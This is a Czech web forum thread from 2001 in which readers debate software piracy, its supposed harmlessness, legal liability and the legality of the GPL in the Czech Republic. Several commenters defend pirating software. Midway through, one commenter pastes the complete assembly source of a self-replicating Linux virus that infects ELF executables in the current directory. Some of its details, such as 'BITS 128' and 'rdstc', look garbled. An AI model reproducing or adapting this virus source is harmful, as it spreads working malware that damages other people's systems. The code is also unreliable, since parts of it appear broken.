Ty "škody" jsou stejně většinou pouze
hypotetické. Pokud nemám možnost získat
daný software nelegálně, stejně za něj platit nebudu, protože na to nemám.
Takže vlastně nikomu žádná škoda nevznikne, notabene se v řadě případů
jedná o software pro "sudijní účely",
bez úmyslu s ním podnikat....
Jo, to takové tunelování bank a akciovek
to je trochu jiný kafe.....

Souhlasím  |  Nesouhlasím  |  Odpovědět
Pavel  |  20. 04. 2001 19:50

Zajimave... Kdyz kradou ostatni, je to moooooc osklive. Kdyz kradu ja, jsou to "studijni ucely"... Ach jo:(

Souhlasím  |  Nesouhlasím  |  Odpovědět
Bilbb  |  20. 04. 2001 19:50

No nezapomente taky ze pri nelegalnim paleni/stahovani/prodeje/kupovani softwaru a tak ... se nedopoustite kradeze. To co provadite je trestny cin porusovani autorskych prav (a za to vas porad muzou zavrit protoze je to nelegalni) ale NENI to kradez (ono je to taky logicke protoze tomu vydavateli "nic neubylo")

Souhlasím  |  Nesouhlasím  |  Odpovědět
Athlon  |  20. 04. 2001 19:50

Ano, myslim ze zrovna zive.cz zavedlo termin "kradez" pro porusovani autorskych prav. Spise se to ale da porovnat s jizdou na cerno v tramvaji. Tam zaplatim pokutu 500Kc a nikoho nezajima jestli jedu pro studijni nebo pracovni ucel. Hysterii kolem softwarove "jizdy na cerno" predevsim rozdmychava Microsoft a sesterska BSA.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Martin  |  20. 04. 2001 19:50

Příliš zjednodušujete. Teze, že vlastně žádná faktická škoda nevzniká není až tak scestná. Je to věc nabídky a poptávky. Pokud bude např. 3D Max dostupný pouze za cca. 50 tis., tak se nebudu ani trochu vzrušovat jeho možnostmi a nikdy s ním nepřijdu do styku.
Pokud se s ním ale mohu seznámit za 200,-, tak to možná udělám a třeba se někdy s legálně zakoupenou verzí budu i živit.
Pokud mám dotáhnout tuto úvahu, která samozřejmě odporuje autorskému zákonu do konce, tak výrobce softu vlastně opravdu nic netratí a navíc může kupodivu získat budoucího zákazníka.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Bilbo  |  20. 04. 2001 19:50

No ona skoda nejspise vznika. Ale v pripade ze nejaky "domaci kutil" ukradne renderovaci soft za 300 000 pro sve pobaveni/poteseni/pokusy/janevimco tak je asi vsem jasne ze kdyby to legalne neslo tak ho ozeli (za tuhle cenu), takze nejaka ta "realna" skoda bude par stovek (tolik by za to dotycny dal kdyby to moh koupit). Ale kdyz ho ukradne firma ktera se bez nej neobejde a ktera by si ho jinak musela koupit tak ta realna skoda muze byt i tech 300 000 ... Ja jedinou diru v soucasnych zakonech vidim prave v tom, ze kdyz nekdo takhle prepali cd s programy za milion, tak mu nauctujou skodu milion a uz vubec se nezajimaj o to kolik dotycna firma "realne" tratila (proste to posuzujou jako klasickou kradez a ne jako poruseni autorskych prav)

Souhlasím  |  Nesouhlasím  |  Odpovědět
ivan  |  20. 04. 2001 19:50

Myslim ze problem je v urceni hranice, za ktorou sa uz nejedna o studijne ucely ale o komercne. Pokial by sme za hranicu povazovali vytvorenie software, referatu apod. do skoly, tak by ste napisanim diplomovky pre niekoho za uplatu tuto hranicu prekrocili a mali zaplatit...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek  |  20. 04. 2001 19:50

Nevím zda to až tak odporuje nějakému zákonu. Prosté provedení instalace a spuštění programu a několikahodinové testování toho co to umí - to není žádné užívání. Buďte v klidu, každý právník, na kterého StBáci z BSA nic nemají, vás z toho vyseká raz dva. Nehledě na směsnou nebezpečnost - každý zdravý soudce by žalobce okamžitě s něčím takovým vyhodil. Pokud ne, museli by podle statistik odsoudit cca 90 procent domácích uživatelů. Držení nelegální kopie není trestné - zaprvé je tu možnost nabytí v dobré víře (co je mi dotoho, to je problém prodávajícího) - zadruhé nikde není stanoveno, jak má uživatel s nelegální kopií nakládat. Takže si jí může nechat.


Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

To je smesna a naivni argumentace.

Radsi Vam poradim: Kdyby k Vam nekdy prisel skutecny SW pirat (ne ze bych Vam to pral, ale co kdyby...) a chtel by Vam prodat SW statisicove hodnoty za nekolik stovek, NEBERTE TO! U soudu byste nemusel mit takove stesti jako panove (a damy) zmineni v clanku a soudce by Vam nemusel uverit, ze jste tak hloupy, ze jste netusil, ze nejde o SW z trestne cinnosti! A i kdyby Vam pak nezapocitali celkovou sumu SW, ale jen jeho malinkou cast, jsem presvedcen, ze byt spolupachatelem trestneho cinu se skodou v hodnote rekneme 20000 Kc, neni zadna sranda.

Navic mate za povinnost ohlasit kazdy trestni cin, o kterem vite.

Argument typu, ze kdyz kazdy jedna nepoctive, tak to vlastne nepoctive neni, nelze take prijmout. Jedine to snad zmensuje sanci na Vase dopadeni...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Michal Kašpárek  |  20. 04. 2001 19:50

Každý trestný čin…? To je prakticky neproveditelné, protože potom by každý člověk musel aspoň 10× na policii - viz "blbosti" typu podávání alkoholu mladistvým, mravní ohrožování mládeže, kouření trávy - to už by vyšlo líp zavřít gymnázia ;)))))

Souhlasím  |  Nesouhlasím  |  Odpovědět
Michal Kašpárek  |  20. 04. 2001 19:50

"10× za den", pochopitelně - nějak mi to vypadlo…

Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Ano, da se najit spousta zakonu, ktere se nedodrzuji a obecne se to toleruje...

Mne osobne je ale celkem jedno, jestli Vam nekdo nekde naleje pivo nebo se zkourite travou ))). Pokud ale Vy a cele gymnazium budete nelegalne pouzivat software (a nejenom jako studenti, ale perspektivne v budoucnu i jako podnikatele), budete me tim poskozovat - at uz jako producenta softwaru (prijdu o zisky), tak jako pripadneho konkurenta (ja si software koupim a budu mit vetsi naklady a horsi pozici)... Dusledky porusovani autorskych prav jsou proste dalekosahlejsi nez obcasne koureni travy...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jiří  |  20. 04. 2001 19:50

"Navic mate za povinnost ohlasit kazdy trestni cin, o kterem vite."

Nevymýšlejte si nesmysly, když tomu vůbec nerozumíte.
Trestného činu Neoznámení se podle §168 TZ se dopustíte pouze při neoznámení těch nejzávažnějších trestných činů, které jsou v tomto paragrafu vyjmenovány. Porušování autorských práv (§ 152 TZ) tam rozhodně není.


Souhlasím  |  Nesouhlasím  |  Odpovědět
Tomas Holub  |  20. 04. 2001 19:50

Trosku jsem prestrelil. Mate pravdu, nemusim oznamit porusovani autorskych prav (§152 TZ) ani podle §168, dokonce ani podle §167 = Neprekazeni trestneho cinu, kde je vyjmenovano jiz vetsi mnozstvi trestnych cinu (kradez, podvod...). Jeste predem podotykam, ze rozumim rozdilu mezi oznamenim a prekazenim trestneho cinu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Bob  |  20. 04. 2001 19:50

To je skutečně komická argumentace.
Nemělo by být spíše na rozhodnutí těch společností, jestli budou software posyktovat na studijní účely?
Většina firem poskytuje možnost vyzkoušet si software po omezenou dobu prostřednictvím tryout verzí.

Pokud někdo vynalezne nějaký produkt (jeho vývoj stál nějaké peníze) a vy začnete vyrábět jeho kopii, tak se podle vás na jeho úkor neobohacujete?
Nenechte se vysmát.

Bob

Souhlasím  |  Nesouhlasím  |  Odpovědět
Olaf Hotoffsson  |  20. 04. 2001 19:50

Nechci zabředávat do této bohapusté flamewar, jen si neopomenu rýpnout: "I umře Bill Gates a jeho duše letí vzhůru k nebesům. Tam u nebeské brány čeká sv. Petr s Ďáblem a říkají: 'Chceš do nebe nebo do pekla?' Bill se zamyslí a řekne: 'Když já nevím, kde je to lepší..'. Sv. Petr máchne rukou a z obláčku se stane 21" monitor ne kterém je vidět ráj. Andílci polehávají, zívají, prostě nuda, nuda, šeď, šeď. Nato máchl rukou ďábel a obraz se přepnul do pekla - karmínově osvětlený 100m bar plný lihovin, vilná děvčata ve sporém odění, perfektní jazzík, prostě těžkotonážní odvaz. "Je to jasné -" vece Bil "chci do pekla." Velká rána, Bill letí dolů a šplouch, přímo do největšího kotle s tím nejžhavějším olejem. "Co to jééééé???" ječí náš milý Bill nahoru. "Kde je ten zatracený bar??" A shůry se snáší jasné volání: "To byla jen demoverze, milý Bille!"

Souhlasím  |  Nesouhlasím  |  Odpovědět
dunno  |  20. 04. 2001 19:50

http://drakulka.tripod.com/

Souhlasím  |  Nesouhlasím  |  Odpovědět
martin  |  20. 04. 2001 19:50

"Mnozí ze zákazníků tvrdili, že neví o tom, že se stali neoprávněnými uživateli a že zboží nakoupili v dobré víře. Vyšetřovatelé tento argument přijali a kupující nebyli obviněni jako spolupachatelé činu." ehehe lameri na obou stranach...databaze, v dobre vire...to mluvi samo o sobe. Hmm tech 5 milionu nicmoc, to zrucnemu palici projde rukama za par dni...proste lamerina co vic k tomu dodat .

Souhlasím  |  Nesouhlasím  |  Odpovědět
m  |  20. 04. 2001 19:50

dokud budou mit dost "palicu" a seznamu, budou brat argument v "dobre vire", az zacne floydum tect do bot, budou to brat smahem a nepomuze vam ani dobra vira atd )))

Souhlasím  |  Nesouhlasím  |  Odpovědět
sKAMER  |  20. 04. 2001 19:50

..precti si z jakeho roku to je

oni hosi nadelaly poradny kus "prace" a jejich trest je vysmech celemu vysetrovacimu teamu a vsem, kteri s temi "hajzliky" ztracely cas..

Souhlasím  |  Nesouhlasím  |  Odpovědět
maxx  |  20. 04. 2001 19:50

tak ta veta o tom , ze si nechali poslat na inzerat softver a v dobrej viere ze sa jedna o legalny ?????
tak tomu hovorim hlod .....to su bud blby policajti (dost bezny jav )alebo ti co si to kupili


A softver sa kradol, kradne sa a kradnut sa bude dovtedy pokial nebude dobry [preco by som mal platit za nieco co vlastne je stale len beta verzia <polovicka produktov od M$ > akurat predtym ako to niekto zacne predavat to nazve verziou final] a za rozumnu cenu ....alebo nam nezvysia platy tak ze nebude problem kupit si z jednej vyplaty napr. OS Win + 2 hry
a zvysok mesiaca nemusiet hladovat

Souhlasím  |  Nesouhlasím  |  Odpovědět
Hlipa  |  20. 04. 2001 19:50

No problem je v tom, ze se musi dokazat umysl ci vedomost toho, ze kupovali kradeny SW. A i kdyz vsichni vedi, ze
to umysl byl, tak to jako dukaz nepostacuje.

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lukáš  |  20. 04. 2001 19:50

To s tim, ze se krade software, protoze je spatny je trosku scestny, ne?
Ukradnes starou skodovku, jenom proto ze je stara a nefunguje moc dobre, zato novy BMW si koupis? , asi ne co? .

Navíc krade se i dosti popularni software - hry, vyvojovy software, v podstate vse, takze to nema s qalitou nic spolecnyho .

Souhlasím  |  Nesouhlasím  |  Odpovědět
bil  |  20. 04. 2001 19:50

Asi se začnu zajímat o Linux, nějak už té buzerace začínám mít dost.

Souhlasím  |  Nesouhlasím  |  Odpovědět
sKAMER  |  20. 04. 2001 19:50

Vzhledem k tomu, ze v CR neplati licence GNU, tak se bojim mily bile, ze se dopustis pri nejblizsi prilezitosti, trestneho cinu.

Nevim, jak si predstavujes svou dalsi "praci" s timto systemem, mas zrejme zkreslene predstavy o tom, ze vsechny aplikace pro platformu Linux jsou freeware.

Mnoho stesti s produkty pana Linuse T. :o\

Souhlasím  |  Nesouhlasím  |  Odpovědět
Xstart  |  20. 04. 2001 19:50

Linux pouzivam uz pomerne dlouho a presel jsem na nej z dosu z jednoduche ho duvodu, proste jsem nemel na to, abych si koupil widows. Kdyz jsem tak pocital, kolik bych potreboval na koupeni potrebneho softwaru pro windows vcetne OS, vyslo mi neco kolem 100 000,-, coz predstavuje muj ctyrlety (jsem student) prijem. Jestli se nejaky zakonodarce v nasi zemi rozhodne trestat uzivatele softwaru, sireneho pod licenci GNU, tak je bud podplaceny makrohardem, nebo patri do lecebny pro psychycky narusene. To by totiz znamenalo, ze pouzivani nelegalniho softwaru by stouplo z 90% na 99% Protoze neznam jedineho cloveka ktery by pouzival neco legalne (mimo linuxu a free(share)ware produktu). Jo a mimochodem NAPROSTA vetsina softwaru pro linux je sirena pod licenci GNU - a to, co neni jsem jeste nikdy nepotreboval a zrejme ani nebudu.

Souhlasím  |  Nesouhlasím  |  Odpovědět
hil  |  20. 04. 2001 19:50

Existují na Linux programy na zpracování videa?

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jirka  |  20. 04. 2001 19:50

2 sKAMER:

Promiň, ale ty jsi buď blbej, nebo nevím... Ať už to český bolševik vymyslel jak chtěl, můžeš mi laskavě vysvětlit, KOMU a ZA CO platit, když za ten SW autor (jediný, kdo má na nějaké peníze nárok) PROSTĚ NIC NECHCE??? To's mě teda vytočil... (normálně jsem slušnej, viz jiné mé příspěvky).

Souhlasím  |  Nesouhlasím  |  Odpovědět
Xstart  |  20. 04. 2001 19:50

Kdosi kdesi na internetu napsal clanek, ze GNU je nelegalni a vsichni zaprisahli legalni a i fura nelegalnich windowsaku se toho hned chytila - proste typicky Cesi. "proc ma mit jiny neco zdarma, kdyz ja jsem za to musel zaplatit furu panez? Odpoved je uplne jednoducha: PROSTE JE CHYTREJSI A UMI SI PORADIT I BEZ WINDOWSU !!!!

Souhlasím  |  Nesouhlasím  |  Odpovědět
sKAMER  |  20. 04. 2001 19:50

..tvoji posledni vetu (vypini si CAPSLOCK) bych doplnil..

ZALEZI HLAVNE NA UZIVATELY, NE NA SYSTEMU

nechci se hadat, ktery system je lepsi, pod linux eistuje spousta kvalitnich aplikaci (gimp/starofice/..) s GNU licenci, ale stejne si vsechni kvalitni produkty koupit proste musis, pocinaje antivirem AVP, konstrukcnim VariCAD -em konce, takze co resime?

Souhlasím  |  Nesouhlasím  |  Odpovědět
Hynek Hanke  |  20. 04. 2001 19:50

1 - antivir pod Linuchem nepotrebuji
2 - QCad apod. ( zrovna na CAD se v posledni dobe zameruje dost vyvoj Open Source), ale CAD pro linuch, nebo cele Windows se vsemi aplikacemi + CAD pro Windows ... jestli umis pocitat, tak je ti jasny, zes placnul blbinu... )

Souhlasím  |  Nesouhlasím  |  Odpovědět
sKAMER  |  20. 04. 2001 19:50

..tyto priklady jsem uvedl zamerne, kazdopadne cim dal tim casteji se vyvyjeji produkty z paltformy w32 na linux/free^bsd a v drtive vetsine jde o produkty, ktere nejsou pod gpl/gnu licenci..tudiz se za ne musi platit.

jen tak pro tvou zajimavost se mily koumaku podivej na posledni produktovou radu spolecnosti jako je napr. allaire (cold fusion servery a podobne produkty)

..chtel jsem tedy naznacit ze programatori si nechavaji za svou praci platit a chtel jsem vyvratit, ze na linuxu neco jako warez neexistuje..

o tom byl cely tenhle prispevek..ne o systemech, ale o warezu, konkretne o softwarovem piratstvi a porusovani autorskych prav..

ted uz si snad rozumime, ze ano?

sand jen jeste by me zajimalo, proc existuji produkty jako AVP/AVX pro platformy linux/solaris..kdyz jich neni potreba?!

a tenhle trpany prispevek bych zakoncil tim, ze nezalezi na systemu, ale na lidech (jak jinak si vysvetlit boom Palm Warezu?)

Souhlasím  |  Nesouhlasím  |  Odpovědět
resolver  |  20. 04. 2001 19:50

1. profesionalni produkty budou skutecne temer vzdy placene - v tom se shodnem => warez, warez, warez...
Druha vec je, ze existuje spousta programku, ktere jsou free a vyhovi pozdavkum mnoha neprofesionalu a obcas i profesionalu (GIMP...). Kdyz nekdo chce ve windows programovat v C++, tak nemusi mit zrovna Borland C++ Builder 5, ale staci mu Dev-cpp (zadarmo)... Pro platformu Linux je ale vyber ponekud bohatsi... O to tu jde. Proste tato platforma spis pritahuje lidi, co chtej programovat pod licenci GPL...

2. antivirove firmy vzdy potrebuji prodavat sve produkty, ze... Nicmene faktem je, ze wormy (nikoli viry, az na skutecne raritni pripady) se mohou sirit i pod UNIXy, paklize se pouzivaji derave aplikace (anebo kdyz je programator worma genius, coz vetsinou neni)

3. vim, ze sem prispivaji spise technicteji orientovani lide, ale prosim, prosim cestina trpi. A trpi moc =))) Coz nemate soucit? =) Nejsem sice purista, co musi hubu rikat rozbocovac (ktery nestastnik to vymyslel?), ale alespon to i/y...

Souhlasím  |  Nesouhlasím  |  Odpovědět
sKAMER  |  20. 04. 2001 19:50

Platform Linux OS
338 bytes

BITS 128
GLOBAL main
SECTION .text

vir_start:
main:
pushf
pushad
mov eax, vir_ends-vir_start
call delta
delta:
pop ebp
sub ebp,delta

rdstc
and al,31
jnz no_limit
mov eax,04ah
lea ebx,[SST+ebp]
mov ecx,0Ah
int 080h

no_limit:

sub esp,(10Ah+4)
mov eax,05h
lea ebx,[diractual+ebp]
xor ecx,ecx
cdq
int 080h
xchg ebx,eax
Siggi:

mov eax, 059h
mov ecx,esp
int 080h
or ax,ax
jz Hellwig

push ebx
lea ebx,[esp+0Ah+4]
call Infect
pop ebx

jmp Siggi

Hellwig:

add esp,(10Ah+4)
popad
popf

retback:
db 068h
back:
dd vir_ends
ret
Message: db 'SST'
Infect:
cdq
inc edx
inc edx
mov ecx,edx

mov eax,5
int 080h

xchg ebx,eax
push ebx

mov eax,013h
loop $
int 080h

mov [esp+0Ch],eax

push ecx
push ebx
inc ecx
push ecx
inc ecx
inc ecx
push ecx
loop $
push eax
push ecx
mov ebx,esp
mov eax,0x5a
int 080h
add esp,4*6

mov dh,7
mov ebx,eax
cmp eax,0xFFFFF000
jbe Conti

j_cer:
jmp Close

Conti:

mov eax,(0 - 0x464C457F)
add eax,dword[ebx]
jnz j_cer

cmp byte [ebx + 0x10],02h
jnz j_cer

cmp byte[ebx+5],cl
jz j_cer

mov eax,[esp+0Ch]
sub eax,04Ch
add eax,ebx
cmp [eax],dh
jnz j_cer

cmp word[eax+10h],(vir_ends-vir_start)
jb j_cer

mov byte [ebx+5],cl

push dword [back+ebp]
push dword [ebx+18h]
pop dword [back+ebp]
mov edi,[eax+0Ch]
push edi
add edi,ebx
lea esi,[ebp+vir_start]
mov ecx,vir_ends-vir_start
rep movsb

pop eax
sub eax,[ebx+098h]
add eax,dword[ebx+09Ch]
mov byte [ebx+0ACh],dh
mov dword [ebx+18h],eax

mov eax,1000h
add dword [ebx+0A4h],eax
add dword [ebx+0A8h],eax

pop dword [back+ebp]
Close:
mov eax,91
int 080h
finishing:
pop ebx
mov al,dh
dec al
int 080h

ret

SST: db 'by sKAMAh/^'
diractual: db '.',0
vir_ends:

mov eax,1
int 080h

Souhlasím  |  Nesouhlasím  |  Odpovědět
resolver  |  20. 04. 2001 19:50

...raritni pripad. To co jsem napsal, plati. Kdyz mi vyjmenujes 10-20 bezne se vyskytujicich viru pro linux, zmenim nazor...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Lada  |  20. 04. 2001 19:50

A co soft pro ucetni na platformu Linux. Vite o necem takovem??

Souhlasím  |  Nesouhlasím  |  Odpovědět
silenec  |  20. 04. 2001 19:50

Antivir - napr. AVX
Kdyz 3D tak napr. Moonlight 3D, Blender...
Na audio si ted nevzpomenu a na video taky ne, ale mam to doma a je to vsechno pod GNU GPL a klidne si to zada se softem pro wokna. Nekdy je to i mnohem lepsi. Hlavne to porad nepada.

Souhlasím  |  Nesouhlasím  |  Odpovědět
silenec  |  20. 04. 2001 19:50

Antivir - napr. AVX
Kdyz 3D tak napr. Moonlight 3D, Blender, Pov Ray...
Na audio si ted nevzpomenu a na video taky ne, ale mam to doma a je to vsechno pod GNU GPL a klidne si to zada se softem pro wokna. Nekdy je to i mnohem lepsi. Hlavne to porad nepada.

Souhlasím  |  Nesouhlasím  |  Odpovědět
adam_winemaker  |  20. 04. 2001 19:50

Jenom drobnou poznamku - licence GPL (a jine podobne) doopravdy nebyla v souladu s ceskym pravnim radem, nicmene od 1.12.2000 plati novy autorsky zakon, ktery je jiz s licencemi typu GPL "kompatibilni".

Nejake informace k tomu jsou napriklad na http://www.zastudena.cz

Souhlasím  |  Nesouhlasím  |  Odpovědět
Noname  |  20. 04. 2001 19:50

Ano, ale problem je v tom, ze GNU a podobne licence vysli v platnost pred zacatkem platnosti noveho autorskeho zakona, tudiz se museji i ted ridit starym autorskym zakonem a jsou tudiz neplatne. Viz prave zminovane ZASTUDENA.CZ

Souhlasím  |  Nesouhlasím  |  Odpovědět
Jakub Moc  |  20. 04. 2001 19:50

Plácáte kraviny, kolego....

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek  |  20. 04. 2001 19:50

GNU platí celoplanetárně : 200 českých poslanců to nemůže nijak ovlivnit..... i kdyby si vydali buhvíjaký zakon, jen nám to jedno, maximálně dojde k tomu, že je a jecjich zákony začnou všichni ignorovat. Takže předpokládám, že si zákonodárci sami dají pozor, jinak jsou ztraceni.

Souhlasím  |  Nesouhlasím  |  Odpovědět
AlGore  |  20. 04. 2001 19:50

Dalsi militantni ignorant, ktery se domniva, ze kdys na to budou vsichni kaslat tak se nikomu nic nestane...

Takze mala vysvetlivka.

Zakon (a to v kteremkoliv state) je neco co plati i pres to ze to nekdo ignoruje. Ze nemohou zavrit vsechny vubec neznamena ze nikoho nezavrou - naopak. Tim padem kazdy blby policajt ziskava moznost sam se rozhodovat, na koho si "posviti" a koho "necha byt", a kdys si na nekoho "posviti" pak ho klidne necha zavrit, proto ze zakon na to je a soud se nim musi ridit i kdyby nechtel.

TOHLE JE OPRAVDOVA TRAGEDIE, a az budete nekde "brucet v chladku" pak si muzete na poslance nadavat az do uplneho vycerpani sil, je jim to uplne jedno

Takze jedine vychodisko je rvat ted, dokud jste jeste na svobode a dokud vas jeste nekdo posloucha mimo bachare a spoluveznu...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek  |  20. 04. 2001 19:50

Asi žijete v totalitním státě.

Sice jste správně napsal "blby policajt" , nicméně ostatní je tragicky omyl : "pak ho klidně necha zavřít" - policajte nikoho do vezeni neposilaji. To dělají soudy, víme?

Tahle diskuse bohuzel nerozlisuje mezi vyrobcem piratskych kopii a jejich uzivatelem a jaksi se to smesuje dohromady.

1. Jako obcan nemam povinnost proverovat legalitu nabizeneho SW

2. Jako obcan nemam prostredky na takove zjisťovani

3. Jako normalni obcan to ani nebudu zkouset - nechci skoncit na dne prehrady

4. Kupte si v bazaru nejaky krabicovy soft a obraťe se na policii s zadosti o overeni pravosti (zda to neni ilegalni kopie) - mozna vam po roce zkoumani to, co jste si koupil vrati, kdyz to mezitim nekdo u nich neukradne.

5. Vás postoj "zakon über alles" je skodlivy, protoze pokud by se aplikoval, v oblasti pocitacove gramotnosti bychom byli hluboko za vsemi "bananovymi republikami". Kazdý ekonom vám doloží, že je výhodnější vyprodukovat počítačové specialisty na "ukradeném" softu.

6. I když jsem tomu ještě před několika lety nevěřil, budoucnost patří Open Source a GPL. Takže diskuse o nějakém počítačovém pirátství je JIŽ DNES ZBYTEČNÝM PLKÁNÍM. Co není zbytečné, je fakt, že policie a represivní složky moci tak příjdou o jednu možnost jak buzerovat a šikanovat lidi, kteří mají zájem o osobní rozvoj, ale ale nemají na něj prostředky





Souhlasím  |  Nesouhlasím  |  Odpovědět
Radek  |  20. 04. 2001 19:50

Jestě poznámka : minimálně 2000 let vedou právní spor o to, zda nedodržvání špatného (ve smyslu názoru většiny) zákona je trestné. Zatím se nedohodli, ale obecně se soudí, že je to prominutelné. :o)))))

Souhlasím  |  Nesouhlasím  |  Odpovědět
silenec  |  20. 04. 2001 19:50

Myslite, ze pudem sedet vsichni? Tolik mista v chladku asi nemaj.

Souhlasím  |  Nesouhlasím  |  Odpovědět
resolver  |  20. 04. 2001 19:50

predpokladam, ze mas spatne informace =)
GPL plati i u nas (po nekolika mesicich opet)... Nebo ne?

BTW skutecne nejsou vsechny aplikace zadara, nicmene faktem je, ze vetsina aplikaci pro kancl ano (nemluve o multimediich, mnoha hrach - ty ale skutecne nemaji uroven komercnich produktu - atd)...

Souhlasím  |  Nesouhlasím  |  Odpovědět
Zasílat názory e-mailem: Zasílat názory Můj názor